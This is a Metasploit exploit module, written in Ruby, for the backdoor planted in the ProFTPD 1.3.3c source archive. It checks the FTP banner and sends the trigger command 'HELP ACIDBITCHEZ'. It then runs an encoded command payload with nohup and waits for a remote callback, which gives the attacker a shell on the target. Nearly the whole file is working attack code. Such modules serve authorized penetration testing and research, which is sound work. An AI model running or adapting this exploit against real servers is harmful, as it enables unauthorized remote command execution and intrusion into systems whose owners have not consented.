## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Ftp prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'ProFTPD 1.3.3c Backdoor Command Execution', 'Description' => %q{ This module exploits a malicious backdoor that was added to the ProFTPD download archive. This backdoor was present in the proftpd-1.3.3c.tar.[bz2|gz] archive between November 28th 2010 and 2nd December 2010. }, 'Author' => [ 'MC', 'darkharper2', 'g0tmi1k' # @g0tmi1k - additional features ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2010-20103' ], [ 'OSVDB', '69562'], [ 'BID', '45150' ] ], 'Privileged' => true, 'Platform' => [ 'unix', 'linux' ], 'Arch' => ARCH_CMD, 'Payload' => { 'Space' => 2000, 'BadChars' => '', 'DisableNops' => true }, 'Targets' => [ [ 'Linux/Unix Command', { 'Type' => :unix_cmd } ] ], 'DisclosureDate' => '2010-12-02', 'DefaultTarget' => 0, 'Notes' => { 'Reliability' => [REPEATABLE_SESSION], 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS] } ) ) deregister_options('FTPUSER', 'FTPPASS') end def check connect return CheckCode::Unknown('No FTP banner received') unless banner vprint_status("FTP Banner: #{banner_version}") return CheckCode::Safe("Target does not appear to be running ProFTPD (banner: #{banner_version})") unless banner_version.include?('ProFTPD') return CheckCode::Safe("ProFTPD version is not 1.3.3c (banner: #{banner_version})") unless banner_version.include?('1.3.3c') print_status('ProFTPD 1.3.3c detected, testing for backdoor command...') sock.put("HELP ACIDBITCHEZ\r\n") res = sock.get_once(-1, 10) return CheckCode::Appears('No response to backdoor command, so server may have dropped into shell mode') if res.blank? return CheckCode::Safe("Backdoor command not present (server returned: #{res.to_s.strip})") if res&.match?(/^5/) CheckCode::Unknown("Unexpected behaviour/unknown response (timeout or connection dropped?): #{res.to_s.strip})") rescue ::Rex::ConnectionError, ::IOError => e CheckCode::Unknown("Connection failed: #{e.message}") ensure disconnect end def exploit connect vprint_status("FTP Banner: #{banner_version}") if banner print_status('Sending FTP command to trigger backdoor') sock.put("HELP ACIDBITCHEZ\r\n") res = sock.get_once(-1, 10) fail_with(Failure::NoAccess, "No backdoor (#{res.to_s.strip})") if res =~ /^5/ unless payload.encoded.empty? c = 'nohup ' c << payload.encoded c << " >/dev/null 2>&1\n" vprint_status("Running: #{c.strip}") sock.put(c) print_status('Payload sent - awaiting callback') end report_vuln( host: rhost, port: rport, proto: 'tcp', sname: 'ftp', name: name, info: 'HELP ACIDBITCHEZ backdoor triggered', refs: references ) ensure disconnect end end